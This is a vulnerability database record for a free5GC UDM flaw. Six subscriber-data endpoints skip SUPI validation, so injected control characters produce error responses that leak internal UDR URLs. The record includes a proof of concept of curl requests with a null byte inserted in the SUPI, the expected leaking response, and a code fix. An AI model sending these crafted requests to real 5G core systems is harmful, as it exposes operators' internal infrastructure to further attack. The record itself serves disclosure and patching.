{"id":"CVE-2026-42459","aliases":["CVE-2026-42459","GHSA-585v-hcgf-jhfr","GO-2026-5138"],"related":[],"kind":"vulnerability","state":"published","title":"free5GC: Improper Input Validation and Generation of Error Message Containing Sensitive Information in github.com/free5gc/udm","summary":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details. This vulnerability is fixed in 4.2.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details. This vulnerability is fixed in 4.2.2.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe free5GC UDM component fails to validate the `supi` path parameter in six GET handlers of the `nudm-sdm` (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a `500 Internal Server Error` response that exposes internal infrastructure details.\n\n## Affected Package\n\n- **Ecosystem**: Go\n- **Package**: `github.com/free5gc/udm`\n- **Affected versions**: `<= v1.4.2`\n- **Patched versions**: none yet\n\n## Details\n\nThe following handlers in `internal/sbi/api_subscriberdatamanagement.go` do not call `validator.IsValidSupi()` before passing the `supi` parameter to the processor:\n\n- `HandleGetSmfSelectData` — `GET /:supi/smf-select-data`\n- `HandleGetSupi` — `GET /:supi`\n- `HandleGetTraceData` — `GET /:supi/trace-data`\n- `HandleGetUeContextInSmfData` — `GET /:supi/ue-context-in-smf-data`\n- `HandleGetNssai` — `GET /:supi/nssai`\n- `HandleGetSmData` — `GET /:supi/sm-data`\n\nBy contrast, `HandleGetAmData` in the same file correctly validates the `supi` parameter:\n\n```go\n// HandleGetAmData — correctly validates (not vulnerable)\nsupi := c.Params.ByName(\"supi\")\nif !validator.IsValidSupi(supi) {\n    c.JSON(http.StatusBadRequest, problemDetail)\n    return\n}\n\n// HandleGetSmfSelectData — missing validation (vulnerable)\nsupi := c.Params.ByName(\"supi\")\n// ← no validator.IsValidSupi(supi) call\ns.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)\n```\n\nThe malformed `supi` is passed to the processor which constructs a URL to forward the request to UDR. Go's `net/url` parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a `500 SYSTEM_FAILURE` that includes the full internal UDR URL in the `detail` field.\n\n**This is a missed fix of CVE-2026-27642**, which applied the same `validator.IsValidSupi()` check only to `internal/sbi/api_ueauthentication.go` (`HandleConfirmAuth` and `HandleGenerateAuthData`), leaving the SDM service handlers unpatched.\n\n## Proof of Concept\n\n```bash\n# Vulnerable — returns 500 with internal UDR URL exposed\ncurl \"http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data\"\ncurl \"http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai\"\ncurl \"http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data\"\ncurl \"http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data\"\n\n# Expected (vulnerable) response:\n# HTTP 500\n# {\n#   \"title\": \"System failure\",\n#   \"status\": 500,\n#   \"detail\": \"parse \\\"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\\x00INJECTED//provisioned-data/smf-selection-subscription-data\\\": net/url: invalid control character in URL\",\n#   \"cause\": \"SYSTEM_FAILURE\"\n# }\n\n# Protected endpoint (for comparison) — returns 400\ncurl \"http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data\"\n# HTTP 400\n# {\"title\":\"Malformed request syntax\",\"status\":400,\"detail\":\"Supi is invalid\",\"cause\":\"MANDATORY_IE_INCORRECT\"}\n```\n\n## Impact\n\nAn unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:\n\n1. Internal UDR hostname and port\n2. Full internal API path structure (`/nudr-dr/v2/subscription-data/...`)\n3. UDR API version\n4. Internal service naming convention\n\nThis information can be used to facilitate further attacks against the UDR or other internal 5G core components.\n\n## Recommended Fix\n\nAdd `validator.IsValidSupi()` to all six affected handlers, following the pattern already used in `HandleGetAmData`:\n\n```go\nsupi := c.Params.ByName(\"supi\")\nif !validator.IsValidSupi(supi) {\n    problemDetail := models.ProblemDetails{\n        Title:  \"Malformed request syntax\",\n        Status: http.StatusBadRequest,\n        Detail: \"Supi is invalid\",\n        Cause:  \"MANDATORY_IE_INCORRECT\",\n    }\n    c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status)))\n    c.JSON(int(problemDetail.Status), problemDetail)\n    return\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Free5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information in github.com/free5gc/udm","format":"markdown","source":"go"},{"lang":"es","text":"free5GC es una implementación de código abierto de la red central 5G. Antes de la versión 4.2.2, el componente UDM de free5GC no valida el parámetro de ruta supi en seis manejadores GET del servicio nudm-sdm (Gestión de Datos de Suscriptor). Un atacante no autenticado puede inyectar caracteres de control en el parámetro SUPI, haciendo que UDM reenvíe una solicitud malformada a UDR y devuelva una respuesta de error 500 Internal Server Error que expone detalles de la infraestructura interna. Esta vulnerabilidad está corregida en la versión 4.2.2.","source":"nvd"}],"published":"2026-05-07T02:09:58.000Z","modified":"2026-10-14T20:10:00.190Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-20","CWE-209"],"affected":[{"ranges":[{"version":"< 4.2.2","status":"affected"}],"vendor":"free5gc","product":"free5gc","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.4.3"}],"ecosystem":"Go","package":"github.com/free5gc/udm","purl":"pkg:golang/github.com/free5gc/udm","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/free5gc/udm","purl":"pkg:golang/github.com/free5gc/udm","source":"go"},{"ranges":[{"status":"affected","fixed":"4.2.2"}],"vendor":"free5gc","product":"free5gc","cpe":"cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/free5gc/free5gc/security/advisories/GHSA-585v-hcgf-jhfr","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/free5gc/free5gc/security/advisories/GHSA-h4wg-rp7m-8xx4","tags":["web"],"sources":["ghsa","go"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42459","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/free5gc/free5gc","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/free5gc/udm/blob/v1.4.3/internal/sbi/api_subscriberdatamanagement.go","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-28T14:14:42.971Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42459","url":"https://www.cve.org/CVERecord?id=CVE-2026-42459","licence":"CVE Terms of Use","modified":"2026-05-28T14:14:46.406Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-585v-hcgf-jhfr","url":"https://github.com/advisories/GHSA-585v-hcgf-jhfr","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:29.501Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5138","url":"https://pkg.go.dev/vuln/GO-2026-5138","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:26.455Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42459","licence":"Public domain","modified":"2026-10-14T20:10:00.190Z"}],"updatedAt":"2026-11-25T22:59:22.610Z","epss":{"score":0.00324,"percentile":0.27511,"date":"2026-12-01T12:00:22.000Z"}}